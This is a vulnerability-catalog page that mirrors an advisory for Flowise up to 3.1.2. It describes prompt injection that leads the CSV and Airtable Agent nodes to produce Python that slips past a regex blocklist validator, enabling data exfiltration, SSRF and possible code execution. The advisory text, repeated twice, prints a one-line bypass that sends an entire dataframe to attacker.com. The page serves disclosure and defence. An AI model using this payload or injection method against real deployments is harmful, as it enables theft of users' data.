vulnerability / NVI-00011876 / Revision 3
Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass
GitHub lists this reviewed advisory for flowise, flowise-components. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.
This report has not inspected your inventory, configuration, deployed build, reachability or evidence. A catalog listing and a severity score do not establish exposure or compromise.
01 / Meaning
Why it matters
Published affected context helps an owner decide what evidence to gather. This report has not examined your application.
9.8 CRITICAL (3.1)
nvd@nist.gov severity; no combined Null risk score.
9 CRITICAL (4.0)
disclosure@vulncheck.com severity; no combined Null risk score.
0.961%
FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.61571. Missing scores are unknown.
As of · FIRST EPSS
02 / Applicability
The affected context
Affected versions, configuration prerequisites and known exclusions are public. Confirm each one against the deployed service.
flowise
source listed<= 3.1.2
## Summary Flowise <= 3.1.2 CSV Agent and Airtable Agent nodes use a regex-based blocklist (`validatePythonCodeForDataFrame()`) to sanitize LLM-generated Python code before execution in Pyodide. The validator has multiple structural bypasses that allow an attacker to exfiltrate all loaded data to an external server, perform SSRF against internal services, and potentially achieve further code execution -- all through prompt injection via the unauthenticated prediction API. The most impactful bypass is trivial: `pd.read_json("http://attacker.com/?d=" + df.to_json())` passes every regex check yet makes an outbound HTTP request carrying the entire dataset. No special configuration is required. ## Severity **Critical** (CVSS 3.1: 9.3) -- AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N ## Affected Versions - Flowise <= 3.1.2 (latest at time of disclosure) - Any deployment with a CSV Agent or Airtable Agent chatflow ## Details ### Root Cause The `validatePythonCodeForDataFrame()` function (`packages/components/src/pythonCodeValidator.ts`) uses a **blocklist** of 38 regex patterns. It rejects code on the first match and accepts anything that matches none of them. This approach is structurally
flowise-components
source listed<= 3.1.2
## Summary Flowise <= 3.1.2 CSV Agent and Airtable Agent nodes use a regex-based blocklist (`validatePythonCodeForDataFrame()`) to sanitize LLM-generated Python code before execution in Pyodide. The validator has multiple structural bypasses that allow an attacker to exfiltrate all loaded data to an external server, perform SSRF against internal services, and potentially achieve further code execution -- all through prompt injection via the unauthenticated prediction API. The most impactful bypass is trivial: `pd.read_json("http://attacker.com/?d=" + df.to_json())` passes every regex check yet makes an outbound HTTP request carrying the entire dataset. No special configuration is required. ## Severity **Critical** (CVSS 3.1: 9.3) -- AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N ## Affected Versions - Flowise <= 3.1.2 (latest at time of disclosure) - Any deployment with a CSV Agent or Airtable Agent chatflow ## Details ### Root Cause The `validatePythonCodeForDataFrame()` function (`packages/components/src/pythonCodeValidator.ts`) uses a **blocklist** of 38 regex patterns. It rejects code on the first match and accepts anything that matches none of them. This approach is structurally
03 / Response
What to do next
- investigate
Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.
Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system. FIRST EPSS
A fixed release is not deployment evidence.
Check current vendor support and compatibility. After making a change, verify the deployed build and relevant runtime conditions. Keep the evidence, owner and time. An updated lockfile alone does not prove what is running.
04 / Limits
What this report cannot establish
- Customer inventory, deployment, reachability and exploitation have not been inspected.
- NVD lastModified does not establish freshness of every associated CPE record.
05 / Provenance
Sources you can inspect
Each assertion retains its source. Mirrored records may repeat one underlying publisher; additional links are not independent corroboration.
- GHSA-w7x8-q2gp-5cgg ↗
GitHub Advisory Database · vendor advisory
Observed . GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.
- CVE-2026-73487 ↗
NIST National Vulnerability Database · official catalog
Observed . This product uses data from the NVD API but is not endorsed or certified by the NVD.
- CVE-2026-73487 ↗
FIRST EPSS · official catalog
Observed . FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.
Public revision history
Only published revisions appear here. Routine fetches do not create a material-change event.
- Revision 3 ·
Source facts changed; compare the preserved prior revision.
- Revision 2 ·
Dated EPSS estimate updated; this is not a new disclosure or proof of exploitation.
- Revision 1 ·
First indexed by Null; source disclosure date is shown separately.